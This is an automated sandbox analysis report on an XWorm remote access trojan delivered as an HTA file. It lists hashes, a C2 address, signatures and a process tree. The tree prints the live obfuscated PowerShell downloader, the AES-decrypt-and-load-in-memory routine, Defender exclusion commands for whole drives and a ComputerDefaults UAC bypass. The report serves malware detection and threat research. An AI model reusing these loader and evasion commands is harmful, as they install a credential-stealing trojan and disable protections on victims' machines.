Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2024, 07:29

General

  • Target

    mine.hta

  • Size

    48KB

  • MD5

    8ec81411709c0d3ca73859814204cd71

  • SHA1

    7da6542e29c888d65a857cf5876ed8e9e6524510

  • SHA256

    6840b6d84f7c7190424fd465e466e2477e7c8a781457e2c6dcd523df498cea3d

  • SHA512

    ece006bb69841cf02d64c95c0534376934fa073b89eab8f85cc3323f647f1a326198d56cad9666d5b6152e763e2859e945e8794a877c75808f224b27201eec14

  • SSDEEP

    768:SOLDbrv8XXl7qCk0BU6zoWvXqfM0JYJ4Tpdsfq0H5wj/:SObstqCdoWvXqfM0JY40Kj

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:7001

134.255.233.93:7001

Mutex

5loUYH5mEGReJgAG

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Start PowerShell.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mine.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function pYUxYe($YX, $ed){[IO.File]::WriteAllBytes($YX, $ed)};function eYJrvvozw($YX){if($YX.EndsWith((atHcQU @(22670,22724,22732,22732))) -eq $True){Start-Process (atHcQU @(22738,22741,22734,22724,22732,22732,22675,22674,22670,22725,22744,22725)) $YX}else{Start-Process $YX}};function QJVAx($F){$J = New-Object (atHcQU @(22702,22725,22740,22670,22711,22725,22722,22691,22732,22729,22725,22734,22740));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ed = $J.DownloadData($F);return $ed};function atHcQU($Z){$h=22624;$OK=$Null;foreach($Pw in $Z){$OK+=[char]($Pw-$h)};return $OK};function ROmYsTcn(){$nmYSjx = $env:APPDATA + '\';$JkqUaMTnM = QJVAx (atHcQU @(22728,22740,22740,22736,22739,22682,22671,22671,22743,22721,22732,22732,22677,22740,22727,22728,22726,22678,22726,22724,22727,22670,22721,22736,22729,22670,22735,22736,22725,22734,22739,22735,22741,22738,22723,22725,22739,22721,22721,22739,22670,22735,22738,22727,22671,22714,22703,22724,22723,22726,22702,22741,22735,22671,22733,22745,22744,22743,22738,22677,22723,22732,22729,22670,22722,22721,22740));$lVBjIvqD = $nmYSjx + 'myxwr5cli.bat';pYUxYe $lVBjIvqD $JkqUaMTnM;eYJrvvozw $lVBjIvqD;;;;}ROmYsTcn;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3008
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\myxwr5cli.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "set __=^&rem"
          4⤵
            PID:3684
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Roaming\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
            4⤵
              PID:4720
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3928
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5604
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4208
                • C:\Windows \System32\ComputerDefaults.exe
                  "C:\Windows \System32\ComputerDefaults.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:5580
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
                5⤵
                  PID:2292

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          25604a2821749d30ca35877a7669dff9

          SHA1

          49c624275363c7b6768452db6868f8100aa967be

          SHA256

          7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

          SHA512

          206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          17KB

          MD5

          cd0feca0e12b25e11ee96d2ad49bab0d

          SHA1

          5ad8833fe8eb29d9eb21c96e8ef863a09e8dfb77

          SHA256

          46a2acb5780cd82f4800df90b8fa4d89bca4940456f35ed66386e371f2bfdcf0

          SHA512

          63e1cd862b56b082cbec198eb285d79a96522ce92c49a330cdc6c8965e8d337a43e9160eb1854c74f2cb6dfa7239708195f684ddf53b442c9716d44a0d219ba8

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2sjjdmt.bw1.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\myxwr5cli.bat

          Filesize

          379KB

          MD5

          03c6c2175f84ad54c989f0608d3cbb57

          SHA1

          9846d7aa4c639d038f428977dfe0eef7db8ac009

          SHA256

          6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

          SHA512

          45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

        • C:\Windows \System32\ComputerDefaults.exe

          Filesize

          66KB

          MD5

          cfa65b13918526579371c138108a7ddb

          SHA1

          28bc560c542c405e08001f95c4ea0511e5211035

          SHA256

          4c70fea1c4f9b78955eb840c11c6c81f1d860485e090526a8e8176d98b1be3d6

          SHA512

          7ad417e862c38f1032b300735c00050435f0dd1d816e93b9a466adf3bc092be770ebf59c1617db2281c7cf982a75e6c93d927d5784132aa2c6292f3e950eca88

        • C:\Windows \System32\MLANG.dll

          Filesize

          122KB

          MD5

          e286ada1af4b08fa4b7c78f862883c4e

          SHA1

          798ebc7b7cd3db667f1a59ade299be4cff397f39

          SHA256

          16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3

          SHA512

          fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

        • memory/3008-18-0x00000000064F0000-0x000000000653C000-memory.dmp

          Filesize

          304KB

        • memory/3008-22-0x00000000079E0000-0x0000000007A76000-memory.dmp

          Filesize

          600KB

        • memory/3008-16-0x0000000005F00000-0x0000000006254000-memory.dmp

          Filesize

          3.3MB

        • memory/3008-17-0x00000000064B0000-0x00000000064CE000-memory.dmp

          Filesize

          120KB

        • memory/3008-6-0x0000000005E90000-0x0000000005EF6000-memory.dmp

          Filesize

          408KB

        • memory/3008-19-0x0000000007CF0000-0x000000000836A000-memory.dmp

          Filesize

          6.5MB

        • memory/3008-20-0x0000000006A80000-0x0000000006A9A000-memory.dmp

          Filesize

          104KB

        • memory/3008-5-0x00000000056C0000-0x0000000005726000-memory.dmp

          Filesize

          408KB

        • memory/3008-23-0x0000000007970000-0x0000000007992000-memory.dmp

          Filesize

          136KB

        • memory/3008-24-0x0000000008920000-0x0000000008EC4000-memory.dmp

          Filesize

          5.6MB

        • memory/3008-29-0x0000000072030000-0x00000000727E0000-memory.dmp

          Filesize

          7.7MB

        • memory/3008-4-0x0000000005620000-0x0000000005642000-memory.dmp

          Filesize

          136KB

        • memory/3008-3-0x0000000005860000-0x0000000005E88000-memory.dmp

          Filesize

          6.2MB

        • memory/3008-2-0x0000000072030000-0x00000000727E0000-memory.dmp

          Filesize

          7.7MB

        • memory/3008-0-0x000000007203E000-0x000000007203F000-memory.dmp

          Filesize

          4KB

        • memory/3008-1-0x0000000002BB0000-0x0000000002BE6000-memory.dmp

          Filesize

          216KB

        • memory/3928-42-0x00000000062A0000-0x00000000062EC000-memory.dmp

          Filesize

          304KB

        • memory/3928-43-0x00000000071F0000-0x0000000007234000-memory.dmp

          Filesize

          272KB

        • memory/3928-46-0x0000000007990000-0x00000000079D8000-memory.dmp

          Filesize

          288KB

        • memory/3928-44-0x00000000073A0000-0x0000000007416000-memory.dmp

          Filesize

          472KB

        • memory/3928-93-0x00000000094A0000-0x00000000095BE000-memory.dmp

          Filesize

          1.1MB

        • memory/3928-92-0x000000000B530000-0x000000000B53A000-memory.dmp

          Filesize

          40KB

        • memory/3928-45-0x0000000000EA0000-0x0000000000EB0000-memory.dmp

          Filesize

          64KB

        • memory/3928-91-0x000000000B540000-0x000000000B5D2000-memory.dmp

          Filesize

          584KB

        • memory/3928-89-0x000000000B2B0000-0x000000000B34C000-memory.dmp

          Filesize

          624KB

        • memory/3928-88-0x0000000007670000-0x0000000007680000-memory.dmp

          Filesize

          64KB

        • memory/3928-41-0x0000000005C70000-0x0000000005FC4000-memory.dmp

          Filesize

          3.3MB

        • memory/5604-68-0x0000000006FA0000-0x0000000006FBE000-memory.dmp

          Filesize

          120KB

        • memory/5604-74-0x0000000007390000-0x00000000073AA000-memory.dmp

          Filesize

          104KB

        • memory/5604-75-0x0000000007380000-0x0000000007388000-memory.dmp

          Filesize

          32KB

        • memory/5604-73-0x0000000007350000-0x0000000007364000-memory.dmp

          Filesize

          80KB

        • memory/5604-72-0x0000000007340000-0x000000000734E000-memory.dmp

          Filesize

          56KB

        • memory/5604-71-0x00000000072F0000-0x0000000007301000-memory.dmp

          Filesize

          68KB

        • memory/5604-70-0x0000000007190000-0x000000000719A000-memory.dmp

          Filesize

          40KB

        • memory/5604-69-0x0000000007080000-0x0000000007123000-memory.dmp

          Filesize

          652KB

        • memory/5604-58-0x0000000070D70000-0x0000000070DBC000-memory.dmp

          Filesize

          304KB

        • memory/5604-57-0x0000000006F60000-0x0000000006F92000-memory.dmp

          Filesize

          200KB